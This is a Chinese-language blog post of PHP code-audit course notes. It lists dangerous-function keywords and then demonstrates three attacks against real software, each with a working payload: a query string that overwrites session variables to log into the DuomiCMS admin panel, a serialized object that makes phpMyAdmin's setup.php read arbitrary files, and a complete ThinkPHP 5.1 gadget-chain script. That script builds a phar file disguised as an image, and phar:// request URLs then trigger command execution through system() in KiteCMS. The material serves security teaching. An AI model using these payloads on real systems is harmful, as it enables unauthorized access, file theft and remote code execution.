首页 > 编程语言 >DAY109代码审计-PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

DAY109代码审计-PHP模型开发篇&动态调试&反序列化&变量覆盖&TP框架&原生POP链

时间:2024-11-10 16:47:07浏览次数:3  
标签:__ 触发 php admin DAY109 phar TP SESSION 序列化

知识点

1、PHP审计-动态调试-变量覆盖

2、PHP审计-动态调试-原生反序列化

3、PHP审计-动态调试-框架反序列化

PHP常见漏洞关键字

SQL注入:

select insert update  delete mysql_query mysqli等

文件上传:

$_FILES,type="file",上传,move_uploaded_file()等

XSS跨站:

print print_r echo sprintf die var_dump var_export等

文件包含:

include include_once require require_once等

代码执行:

eval assert preg_replace call_user_func call_user_func_array等

命令执行:

system exec shell_exec `` passthru pcntl_exec popen proc_open

变量覆盖:

extract() parse_str() importrequestvariables() $$ 等

反序列化:

serialize() unserialize() __construct __destruct等

其他漏洞:

unlink() file_get_contents() show_source() file() fopen()等

通用关键字

$_GET,$_POST,$_REQUEST,$_FILES,$_SERVER等

一、演示案例-PHP审计-动态调试-原生变量覆盖-DuomiCMS

2、找一个利用点(后台登录点覆盖session

login.php->checkuser()->keepUser()

duomiphp/common.php

$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;

3、动态调试获取保持登录当前的session

4、找一个能将session覆盖的地方(session_start函数调用)

-session_start函数调用

5、session覆盖进后台

_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

member/exchange.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin

二、演示案例-PHP审计-动态调试-原生反序列化-PhpMyAdmin

搭建环境:Phpstudy_pro+Php5.3+Apache+Mysql
自动审计或搜索关键字找到文件及代码段

__wakeup() //使用unserialize时触发

__sleep() //使用serialize时触发

__destruct() //对象被销毁时触发

__call() //在对象上下文中调用不可访问的方法时触发

__callStatic() //在静态上下文中调用不可访问的方法时触发

__get() //用于从不可访问的属性读取数据

__set() //用于将数据写入不可访问的属性

__isset() //在不可访问的属性上调用isset()或empty()触发

__unset() //在不可访问的属性上使用unset()时触发

__toString() //把类当作字符串使用时触发

__invoke() //当脚本尝试将对象调用为函数时触发

1、搜unserialize找入口

/scripts/setup.php

$configuration = unserialize($_POST['configuration']);

2、找直接调用魔术方法__wakeup()

libraries/common.lib.php

触发:$_SESSION['PMA_Config']->__wakeup();

libraries/Config.class.php

触发:$this->load($this->getSource());

3、跟踪load和getSource实现

getSource:获取变量source

loade:eval执行file_get_contents

4、构造pop链发包触发文件读取

<?php

class PMA_Config{

var $source = 'd:/1.txt';

}

$p=new PMA_Config();

echo serialize($p);

?>

触发:

Post:/scripts/setup.php

action=xiaodi&configuration=O:10:"PMA_Config":1:{s:6:"source",s:8:"d:/1.txt";}

5、动态调试下断点看POP链

断点:$configuration = unserialize($_POST['configuration']);

三、演示案例-PHP审计-动态调试-框架反序列化-KiteCMS

搭建环境:Phpstudy2018+Php7.0+Apache+Mysql

1、源码目录分析采用TP框架开发

2、获取TP框架对应版本和漏洞情况

const VERSION = '5.1.37 LTS';

​php phpggc -l thinkphp

3、使用PHPGGC模版生成Phar文件

参考:phar反序列化 - My_Dreams - 博客园

/phpggc-master/gadgetchains/ThinkPHP/RCE/1

调用链:gadgets.php

触发生成:chain.php

phar利用条件

phar文件要能够上传到服务器端。

如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

要有可用的魔术方法作为“跳板”。

文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

注意:将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

xiaodi.php
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}
namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("smi1e" => "1");
    }
    trait Attribute
    {
        private $data;
        private $withAttr = array("smi1e" => "system");
        public function get()
        {
            $this->data = array("smi1e" => "notepad");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}
namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}
namespace {
    $conver = new think\model\Pivot();
    $a = new think\process\pipes\Windows($conver);
    $phar = new Phar('xiaodi.phar');
    $phar -> stopBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
    $phar -> addFromString('test.txt','test');
    $phar -> setMetadata($a);
    $phar -> stopBuffering();
}
?>

4、找个上传文件地方后上传xiaodi.png

5、找加载文件地方(搜is_dir)

admin/controller/Admin.php

scanFiles、scanFilesForTree

6.在使用phar触发png 的pop链

http://192.168.1.148/admin/admin/scanFiles?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

http://192.168.1.148/admin/admin/scanFilesForTree?dir=phar://./upload\/20231030\/306437f8a938426c66e97468b219ff61.png

标签:__,触发,php,admin,DAY109,phar,TP,SESSION,序列化
From: https://blog.csdn.net/m0_74402888/article/details/143662879

相关文章

  • Windows 10 配置为 NTP 时间服务器的操作步骤及解析
    之前有过将Windows10配置为NTP时间服务器的经历,但是没有做文字记录。这次又需要做一样的配置,对网上的资料和配置细节不太确定,所以设置完后写了本篇记录。操作步骤设置服务器类型为NTP;修改注册表键值HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\Pa......
  • 宝塔面板安装ThinkPHP 5 (TP5) 报错的解决方法
    在宝塔面板中安装ThinkPHP5(TP5)时,可能会遇到各种报错。以下是一些常见的错误及其解决方法:PHP版本不兼容错误描述:安装或运行TP5时提示PHP版本不支持。解决方法:确保你的PHP版本在TP5的要求范围内(通常为PHP5.6及以上)。在宝塔面板中切换到合适的PHP版本:进入“软件商店......
  • http://192.168.1.1/ http://3232235777/
    提供的两个链接分别是:http://192.168.1.1/http://3232235777/1. http://192.168.1.1/ ——IP地址表示法(点分十进制)这是一个典型的IPv4地址,表示一个私有局域网(LAN)地址。IPv4地址由四个字节(32位)组成,每个字节的范围是从0到255。表示方法是将每个字节用点(.)分隔开,并使......
  • [Javaee]网络原理-https协议
    前言前面的文章,我们着重介绍了http协议相关的知识。【Javaee】网络原理—http协议(一)-CSDN博客【Javaee】网络原理-http协议(二)-CSDN博客http存在着安全问题(如运营商劫持),针对http的安全问题,我们引入了https进行解决。下面,将详细介绍https协议目录 一.https协议是什么......
  • 什么是http协议?
    1.http协议是什么?超文本传输协议 2.http协议的作用在浏览器和服务器间进行交互(访问、读取、文件交互等等、)关系;客户机——浏览器——访问的服务器 3.http数据包分析(请求、响应)3-1.请求头是咱们客户机的信息(请求地址、浏览器、操作系统等等)3-2.响应头是服务......
  • H264码流的RTP封装
    一、RTP协议头:1.RTP头定义:RTP协议头一般固定为12个字段,在每一个RTP数据包中都存在。各字段的含义如下:version(V):2bits:标识RTP的版本,当前协议版本固定为2.padding(P):1bits:填充位。默认0,如果为1,则在该报文的末尾填充一个或多个额外的八位组,它们不是有效载荷的一部分。某些具有......
  • 第一章:实现基础 HTTP 服务器-MiniTomcat系列
    上一章内容MiniTomcat项目大纲第一章:实现基础HTTP服务器-MiniTomcat系列在这一章中,我们将从零开始编写一个简单的HTTP服务器。这个服务器的基本功能是监听一个端口,接收来自客户端的HTTP请求,并返回一个HTTP响应。我们将使用Java的ServerSocket类来实现网络监......
  • 【RocketMQ】无法访问此网站 http://XXX:10080/ ERR_UNSAFE_PORT
    安装完rocketmq-dashboard。打开浏览器访问地址。问题提示:无法访问此网站网址为 http://192.168.22.197:10080/ 的网页可能暂时无法连接,或者它已永久性地移动到了新网址。ERR_UNSAFE_PORT‌无法访问10080端口的网站通常是由于Chrome浏览器的安全机制导致的。‌Chrome......
  • HTTPS协议
    HTTPS一、介绍二、HTTP中间人攻击1、介绍2、下载示例三、相关概念1、密钥2、加密3、解密4、数据摘要(1)介绍(2)特点5、数字签名(1)介绍(2)实现步骤(3)示意图四、对称加密1、介绍2、特点3、缺点五、非对称加密1、介绍2、优点3、缺点六、CA证书1、介绍2、功能3、CA认证4、示意......
  • Java中序列化与反序列化
    序列化(Serialization)和反序列化(Deserialization)是计算机科学中用于数据存储和传输的两种基本操作。序列化:序列化是将对象的状态信息转换为可以存储或传输的形式的过程。简单来说,就是将对象转换为字节序列(比如JSON、XML等格式)。目的:使得对象可以在网络上进行传输,或者存储到文......